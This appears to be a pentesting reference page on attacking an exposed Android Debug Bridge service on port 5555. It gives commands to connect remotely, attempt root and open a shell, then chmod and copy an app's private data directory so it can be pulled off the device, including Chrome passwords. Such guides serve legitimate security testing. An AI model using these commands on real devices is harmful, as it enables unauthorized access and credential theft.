# 5555 - Android Debug Bridge ## Basic Information **Android Debug Bridge** (adb) is a versatile command-line tool that lets you communicate with a device. The adb command facilitates a variety of device actions, such as i**nstalling and debugging apps**, and it provides **access to a Unix shell** that you can use to run a variety of commands on a device. (from [here](https://developer.android.com/studio/command-line/adb)) **Default port**: 5555. ``` PORT STATE SERVICE VERSION 5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909) ``` ## Connect If find the ADB service running in a port of a device and you can connect to it, **you can get a shell inside the system:** ```bash adb connect 10.10.10.10 adb root # Try to escalate to root adb shell ``` For more ADB commands check the following page: {% content-ref url="../mobile-apps-pentesting/android-app-pentesting/adb-commands.md" %} [adb-commands.md](../mobile-apps-pentesting/android-app-pentesting/adb-commands.md) {% endcontent-ref %} ### Dump App data In order to completely download the data of an application you can: ```bash # From a root console chmod 777 /data/data/com.package cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data. adb pull "/sdcard/com.package" ``` You can use this trick to **retrieve sensitive information like chrome passwords**.
